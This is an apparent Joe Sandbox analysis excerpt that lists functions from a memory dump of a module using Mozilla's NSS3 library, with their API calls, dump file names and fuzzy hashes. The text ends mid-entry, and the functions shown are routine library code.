Opcode Fuzzy Hash: 61798339646780c62c1fb2326b7b57553216e51e720878204763695422a7864c
Instruction Fuzzy Hash: 3121E675A01605BBE7018A15DD50FAB7F68FF4631CF140615E828A6F80E731F929CBB6

Function 6C5A1DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C5A1E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C5A1E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5A1E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C5A1E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C5A1EAD

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: f29ae9ef6bf7bd6544ffecb4377e1737046da0bfa4d999af49920fcfc4b80d68
Instruction ID: a8d465e8c34b7a7fc9c1f927150f163e9dd38be1aaa66c4fb187bbb45b9932cb
Opcode Fuzzy Hash: f29ae9ef6bf7bd6544ffecb4377e1737046da0bfa4d999af49920fcfc4b80d68
Instruction Fuzzy Hash: 8321D372E08314E7D7008EAADC40B9FB7959BC5368F148638ED6957780E731DD0987D6

Function 6C6B1E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C6B1E5C

Part of subcall function 6C669BF0: TlsGetValue.KERNEL32(?,?,?,6C6B0A75), ref: 6C669C07

PR_Lock.NSS3(00000000), ref: 6C6B1E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C6B1EAB
PR_GetCurrentThread.NSS3 ref: 6C6B1ED0
PR_Unlock.NSS3(?), ref: 6C6B1EE8

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 8b5a62af3c1a591db03d3666225d843aee59499bafcd0b9dbb146cded2b14476
Instruction ID: bb85246114b0385dfa0648454ae5192b5604e56aaf8a90417c2d9e33d0699a41
Opcode Fuzzy Hash: 8b5a62af3c1a591db03d3666225d843aee59499bafcd0b9dbb146cded2b14476
Instruction Fuzzy Hash: 0421CC75B14612BBD700CF29D880A46B7B0FF85718B258229E819ABF40D730F823CBD9

Function 6C5FBE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C5AE708,00000000,00000000,00000004,00000000), ref: 6C5FBE6A

Part of subcall function 6C600840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6008B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C5B04DC,?), ref: 6C5FBE7E

Part of subcall function 6C5FFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C5F8D2D,?,00000000,?), ref: 6C5FFB85
Part of subcall function 6C5FFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C5FFBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C5FBEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C5B04DC,?,?), ref: 6C5FBED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C5FBEEB

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: dc7c724c3f0934b328c5f142efdc6e301d0b509c960899da6fbaf04cb62f12f6
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: 8611E276604205E7F708A965AC80F5773ADAB81798F044125FE2597B52E721D80A8EE1

Function 6C5AAD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C5A3FFF,00000000,?,?,?,?,?,6C5A1A1C,00000000,00000000), ref: 6C5AADA7

Part of subcall function 6C6014C0: TlsGetValue.KERNEL32 ref: 6C6014E0
Part of subcall function 6C6014C0: EnterCriticalSection.KERNEL32 ref: 6C6014F5
Part of subcall function 6C6014C0: PR_Unlock.NSS3 ref: 6C60150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C5A3FFF,00000000,?,?,?,?,?,6C5A1A1C,00000000,00000000), ref: 6C5AADB4

Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C6010F3
Part of subcall function 6C6010C0: EnterCriticalSection.KERNEL32(?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60110C
Part of subcall function 6C6010C0: PL_ArenaAllocate.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601141
Part of subcall function 6C6010C0: PR_Unlock.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601182
Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C5A3FFF,?,?,?,?,6C5A3FFF,00000000,?,?,?,?,?,6C5A1A1C,00000000), ref: 6C5AADD5

Part of subcall function 6C5FFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C5F8D2D,?,00000000,?), ref: 6C5FFB85
Part of subcall function 6C5FFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C5FFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C6C94B0,?,?,?,?,?,?,?,?,6C5A3FFF,00000000,?), ref: 6C5AADEC

Part of subcall function 6C5FB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6D18D0,?), ref: 6C5FB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5A3FFF), ref: 6C5AAE3C

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: f9d7b1d93d726d5852c1d03c10d6eb11a2ff678136469c3028d9b6d55afc0c49
Instruction ID: 7842cdc91dee4ae786e049574757e598cb413c8662e1eaf2297d2f24b4537a41
Opcode Fuzzy Hash: f9d7b1d93d726d5852c1d03c10d6eb11a2ff678136469c3028d9b6d55afc0c49
Instruction Fuzzy Hash: B8113B71E003049BE7109BA69C40BBF73F8DF9114DF044628FC5596B41FB20E9598AEA

Function 6C5B8FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C5C0710), ref: 6C5B8FF1
PR_CallOnce.NSS3(6C702158,6C5B9150,00000000,?,?,?,6C5B9138,?,6C5C0710), ref: 6C5B9029
calloc.MOZGLUE(00000001,00000000,?,?,6C5C0710), ref: 6C5B904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C5C0710), ref: 6C5B9066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C5C0710), ref: 6C5B9078

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 65e0252dcba46f45fb44b13a48cf3169bdcf2f2b9d671f1e354fcd6f05235cda
Instruction ID: 5189429599179416810a2c6b11e6e8be646f973b1f1cdbcb0ec952ad1ea1a43a
Opcode Fuzzy Hash: 65e0252dcba46f45fb44b13a48cf3169bdcf2f2b9d671f1e354fcd6f05235cda
Instruction Fuzzy Hash: 8011447170016597E7205AAEAC54AB63ABCEBA27ACF100435FC48E2B80F772CD4483E5

Function 6C5CCD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C5E1E10: TlsGetValue.KERNEL32 ref: 6C5E1E36
Part of subcall function 6C5E1E10: EnterCriticalSection.KERNEL32(?,?,?,6C5BB1EE,2404110F,?,?), ref: 6C5E1E4B
Part of subcall function 6C5E1E10: PR_Unlock.NSS3 ref: 6C5E1E76

free.MOZGLUE(?,6C5CD079,00000000,00000001), ref: 6C5CCDA5
PK11_FreeSymKey.NSS3(?,6C5CD079,00000000,00000001), ref: 6C5CCDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C5CD079,00000000,00000001), ref: 6C5CCDCF
DeleteCriticalSection.KERNEL32(?,6C5CD079,00000000,00000001), ref: 6C5CCDE2
free.MOZGLUE(?), ref: 6C5CCDE9

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 5ba005ee117732768475093fa9083ae58f6e052f10f01a69e860cb8d9a698bd2
Instruction ID: 92995ee53465cc27c6cdbf4a41796961ac5647b2783ccddb88b4c2de79c07983
Opcode Fuzzy Hash: 5ba005ee117732768475093fa9083ae58f6e052f10f01a69e860cb8d9a698bd2
Instruction Fuzzy Hash: B711A0B2B01116BBEB00AFA5EC84996B77DFB44358B140125E91987E01E732F834C7E2

Function 6C632CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C635B40: PR_GetIdentitiesLayer.NSS3 ref: 6C635B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C632CEC

Part of subcall function 6C64C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C64C2BF

PR_EnterMonitor.NSS3(?), ref: 6C632D02
PR_EnterMonitor.NSS3(?), ref: 6C632D1F
PR_ExitMonitor.NSS3(?), ref: 6C632D42
PR_ExitMonitor.NSS3(?), ref: 6C632D5B

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: ac0a24202a9a4cc6dc9623819cf481f1fa82a4299bba5dedfbb37272e6a793d0
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: A801A5B19042106BE6319F26FC40AC7B7E1EF4631CF006525E85E86B11D632E41587DB

Function 6C632D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C635B40: PR_GetIdentitiesLayer.NSS3 ref: 6C635B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C632D9C

Part of subcall function 6C64C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C64C2BF

PR_EnterMonitor.NSS3(?), ref: 6C632DB2
PR_EnterMonitor.NSS3(?), ref: 6C632DCF
PR_ExitMonitor.NSS3(?), ref: 6C632DF2
PR_ExitMonitor.NSS3(?), ref: 6C632E0B

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 5bf6b78fe93105b06d3a02957be6d490b1dc58837aadca42626a3408921edab5
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 3701A5B19042106BE7309F26FC01BC7B7A1EF4231CF006435E85E86B11D632F41586DB

Function 6C5CAE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C5B3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5CAE42), ref: 6C5B30AA
Part of subcall function 6C5B3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B30C7
Part of subcall function 6C5B3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C5B30E5
Part of subcall function 6C5B3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C5B3116
Part of subcall function 6C5B3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C5B312B
Part of subcall function 6C5B3090: PK11_DestroyObject.NSS3(?,?), ref: 6C5B3154
Part of subcall function 6C5B3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C5A99FF,?,?,?,?,?,?,?,?,?,6C5A2D6B,?), ref: 6C5CAE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C5A99FF,?,?,?,?,?,?,?,?,?,6C5A2D6B,?), ref: 6C5CAE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C5A2D6B,?,?,00000000), ref: 6C5CAE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C5A2D6B,?,?,00000000), ref: 6C5CAE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C5A2D6B,?,?), ref: 6C5CAEA3

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: b0445357bf5afb89baad9211683fb84caf24a502e351e9813b0d142498677dd5
Instruction ID: d34026a13ad8800a7c7acfb78e6d8f77a2ada032536e9cd7fad2ad86370b83c9
Opcode Fuzzy Hash: b0445357bf5afb89baad9211683fb84caf24a502e351e9813b0d142498677dd5
Instruction Fuzzy Hash: 0601C876B4401097E701D2ACAC95AEF3D988BC765CF080939E905D7B41F625DD0A47F3

Function 6C6BBDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6C6B7AFE,?,?,?,?,?,?,?,?,6C6B798A), ref: 6C6BBDC3
free.MOZGLUE(?,?,6C6B7AFE,?,?,?,?,?,?,?,?,6C6B798A), ref: 6C6BBDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6B7AFE,?,?,?,?,?,?,?,?,6C6B798A), ref: 6C6BBDE9
free.MOZGLUE(?,00000000,00000000,?,6C6B7AFE,?,?,?,?,?,?,?,?,6C6B798A), ref: 6C6BBE21
free.MOZGLUE(00000000,00000000,?,6C6B7AFE,?,?,?,?,?,?,?,?,6C6B798A), ref: 6C6BBE32

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: 0899cfbc3fa4cab10636f0b245f5c638bcdf3a96bb097b1f041de03ef8e3e7ec
Instruction ID: 113b2ebc9d8f48413b2ea98e5e1366d20c959930d94081f234e39a78218acb26
Opcode Fuzzy Hash: 0899cfbc3fa4cab10636f0b245f5c638bcdf3a96bb097b1f041de03ef8e3e7ec
Instruction Fuzzy Hash: 5A1106F6B013009FDF51DF29D889B023BB5BB4A354B14007DE50A97710EB32A425CBA5

Function 6C6B7C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6C6B7C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6B7C83
malloc.MOZGLUE(00000001), ref: 6C6B7C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C6B7C9F
PR_GetCurrentThread.NSS3 ref: 6C6B7CAD

Part of subcall function 6C669BF0: TlsGetValue.KERNEL32(?,?,?,6C6B0A75), ref: 6C669C07

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: caa4dc3931a21bace99908bb1be9834a94d8195957b2059762917f1b7ef02912
Instruction ID: 34e72c5be992ef17cf4f293eb20bfc2cc4c80099295c63252e86833e08fb06e3
Opcode Fuzzy Hash: caa4dc3931a21bace99908bb1be9834a94d8195957b2059762917f1b7ef02912
Instruction Fuzzy Hash: AAF0C2B19102066FEB009F3A9C099577758EF42369B018439EC09D3B00E735F124CBED

Function 6C6BADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C6BA6D8), ref: 6C6BAE0D
free.MOZGLUE(?), ref: 6C6BAE14
DeleteCriticalSection.KERNEL32(6C6BA6D8), ref: 6C6BAE36
free.MOZGLUE(?), ref: 6C6BAE3D
free.MOZGLUE(00000000,00000000,?,?,6C6BA6D8), ref: 6C6BAE47

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: dcf99cf3858bee194d509f64f91bebbf52caf181894628c6ab9f2c956da4a128
Instruction ID: a3487b37d456b520bef265d97a239c2e4978df19505ed355d97d5966ae9d3bc4
Opcode Fuzzy Hash: dcf99cf3858bee194d509f64f91bebbf52caf181894628c6ab9f2c956da4a128
Instruction Fuzzy Hash: D9F0C275201A02A7CB209F69A8489177779BE86774B100328F13B83981D732F027D7D9

Function 6C53BCD0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(6C6DAAF9,?), ref: 6C53BE37

Strings

kl, xrefs: 6C53BDD7
winFileSize, xrefs: 6C53BF07
Pkl, xrefs: 6C53BED4

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: sqlite3_mprintf
String ID: kl$Pkl$winFileSize
API String ID: 4246442610-2393575200
Opcode ID: 035e767ab2bde70ac28a8102fee387e8bf467c9a31d7c4923328d89b74f164ac
Instruction ID: fdf2b9d335ab872e9075ca97e024bfe575a2a884c70f2515203853dbb351e9c6
Opcode Fuzzy Hash: 035e767ab2bde70ac28a8102fee387e8bf467c9a31d7c4923328d89b74f164ac
Instruction Fuzzy Hash: 9161C131A04A25DFDB05DF29C8807A9BBB2FF8A314F045EA5D4198BB80E730E855CBD5

Function 6C547C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C547D35

